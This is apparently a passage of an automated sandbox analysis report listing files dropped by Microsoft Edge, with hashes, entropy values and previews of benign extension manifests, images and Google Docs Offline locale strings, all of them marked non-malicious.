                                                                                                                                                                          Preview:(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):10388
                                                                                                                                                                          Entropy (8bit):6.174387413738973
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
                                                                                                                                                                          MD5:3DE1E7D989C232FC1B58F4E32DE15D64
                                                                                                                                                                          SHA1:42B152EA7E7F31A964914F344543B8BF14B5F558
                                                                                                                                                                          SHA-256:D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
                                                                                                                                                                          SHA-512:177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):962
                                                                                                                                                                          Entropy (8bit):5.698567446030411
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
                                                                                                                                                                          MD5:E805E9E69FD6ECDCA65136957B1FB3BE
                                                                                                                                                                          SHA1:2356F60884130C86A45D4B232A26062C7830E622
                                                                                                                                                                          SHA-256:5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
                                                                                                                                                                          SHA-512:049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/*" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/*" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:Google Chrome extension, version 3
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):154477
                                                                                                                                                                          Entropy (8bit):7.835886983924039
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3072:edP3YiyHk53xr3zWwaFYgn5JFug0HjaHNK7XeSD/r/pLbWNiOAo1np:edPYJHAzyVu7HjacuSD/rBPBOJnp
                                                                                                                                                                          MD5:14937B985303ECCE4196154A24FC369A
                                                                                                                                                                          SHA1:ECFE89E11A8D08CE0C8745FF5735D5EDAD683730
                                                                                                                                                                          SHA-256:71006A5311819FEF45C659428944897184880BCDB571BF68C52B3D6EE97682FF
                                                                                                                                                                          SHA-512:1D03C75E4D2CD57EEE7B0E93E2DE293B41F280C415FB2446AC234FC5AFD11FE2F2FCC8AB9843DB0847C2CE6BD7DF7213FCF249EA71896FBF6C0696E3F5AEE46C
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:Cr24..............0.."0...*.H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.q*Ba/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.|.X.M..u..s[.*..?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.*1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........%0............G.m.}...CG.....a.s.:.S..QiI.fT.k.MdOF.2....D...v`m...M.7'.R.d...8....2..~.<w8!.W..Sg.._A6.(.pC..w.=..!..7h!J...].....3......Kf..k...|....6./.p.....A....e.1.y.<~Mu..+(v8W........?=.V+.Gb&...u8)...=Qt...... ......x.}.f..&X.SN9e..L....[0Y0...*.H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E.!....~..E...Au.C.q..y.?2An.a..Zn}. H~.vtgI...o.|.j.e....p.........".&...........Z]o.H..+..zF.......S.E}@.F..".P`...3......jW....H.H...:..8.......<...........Z.e.>..vV.......J.,/.X.....?.%.....6....m#.u].Z...[.s.M_...J.."9l..l...,|.....r...QC.....4:....wj.O...5....s.n.%.....y....c.....#F........)gv(..!S
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):4982
                                                                                                                                                                          Entropy (8bit):7.929761711048726
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
                                                                                                                                                                          MD5:913064ADAAA4C4FA2A9D011B66B33183
                                                                                                                                                                          SHA1:99EA751AC2597A080706C690612AEEEE43161FC1
                                                                                                                                                                          SHA-256:AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
                                                                                                                                                                          SHA-512:162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb*..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...*T.P.B...*Tx...=.Q..wv.w.....|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......|..}./.....e..,.K.1........W.u.v. ...\.o
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):908
                                                                                                                                                                          Entropy (8bit):4.512512697156616
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
                                                                                                                                                                          MD5:12403EBCCE3AE8287A9E823C0256D205
                                                                                                                                                                          SHA1:C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
                                                                                                                                                                          SHA-256:B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
                                                                                                                                                                          SHA-512:153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1285
                                                                                                                                                                          Entropy (8bit):4.702209356847184
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
                                                                                                                                                                          MD5:9721EBCE89EC51EB2BAEB4159E2E4D8C
                                                                                                                                                                          SHA1:58979859B28513608626B563138097DC19236F1F
                                                                                                                                                                          SHA-256:3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
                                                                                                                                                                          SHA-512:FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1244
                                                                                                                                                                          Entropy (8bit):4.5533961615623735
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
                                                                                                                                                                          MD5:3EC93EA8F8422FDA079F8E5B3F386A73
                                                                                                                                                                          SHA1:24640131CCFB21D9BC3373C0661DA02D50350C15
                                                                                                                                                                          SHA-256:ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
                                                                                                                                                                          SHA-512:F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):977
                                                                                                                                                                          Entropy (8bit):4.867640976960053
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
                                                                                                                                                                          MD5:9A798FD298008074E59ECC253E2F2933
                                                                                                                                                                          SHA1:1E93DA985E880F3D3350FC94F5CCC498EFC8C813
                                                                                                                                                                          SHA-256:628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
                                                                                                                                                                          SHA-512:9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):3107
                                                                                                                                                                          Entropy (8bit):3.535189746470889
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
                                                                                                                                                                          MD5:68884DFDA320B85F9FC5244C2DD00568
                                                                                                                                                                          SHA1:FD9C01E03320560CBBB91DC3D1917C96D792A549
                                                                                                                                                                          SHA-256:DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
                                                                                                                                                                          SHA-512:7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1389
                                                                                                                                                                          Entropy (8bit):4.561317517930672
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
                                                                                                                                                                          MD5:2E6423F38E148AC5A5A041B1D5989CC0
                                                                                                                                                                          SHA1:88966FFE39510C06CD9F710DFAC8545672FFDCEB
                                                                                                                                                                          SHA-256:AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
                                                                                                                                                                          SHA-512:891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1763
                                                                                                                                                                          Entropy (8bit):4.25392954144533
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
                                                                                                                                                                          MD5:651375C6AF22E2BCD228347A45E3C2C9
                                                                                                                                                                          SHA1:109AC3A912326171D77869854D7300385F6E628C
                                                                                                                                                                          SHA-256:1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
                                                                                                                                                                          SHA-512:958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):930
                                                                                                                                                                          Entropy (8bit):4.569672473374877
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
                                                                                                                                                                          MD5:D177261FFE5F8AB4B3796D26835F8331
                                                                                                                                                                          SHA1:4BE708E2FFE0F018AC183003B74353AD646C1657
                                                                                                                                                                          SHA-256:D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
                                                                                                                                                                          SHA-512:E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):913
                                                                                                                                                                          Entropy (8bit):4.947221919047
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
                                                                                                                                                                          MD5:CCB00C63E4814F7C46B06E4A142F2DE9
                                                                                                                                                                          SHA1:860936B2A500CE09498B07A457E0CCA6B69C5C23
                                                                                                                                                                          SHA-256:21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
                                                                                                                                                                          SHA-512:35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):806
                                                                                                                                                                          Entropy (8bit):4.815663786215102
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
                                                                                                                                                                          MD5:A86407C6F20818972B80B9384ACFBBED
                                                                                                                                                                          SHA1:D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
                                                                                                                                                                          SHA-256:A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
                                                                                                                                                                          SHA-512:D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):883
                                                                                                                                                                          Entropy (8bit):4.5096240460083905
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
                                                                                                                                                                          MD5:B922F7FD0E8CCAC31B411FC26542C5BA
                                                                                                                                                                          SHA1:2D25E153983E311E44A3A348B7D97AF9AAD21A30
                                                                                                                                                                          SHA-256:48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
                                                                                                                                                                          SHA-512:AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1031
                                                                                                                                                                          Entropy (8bit):4.621865814402898
                                                                                                                                                                          Encrypted:false
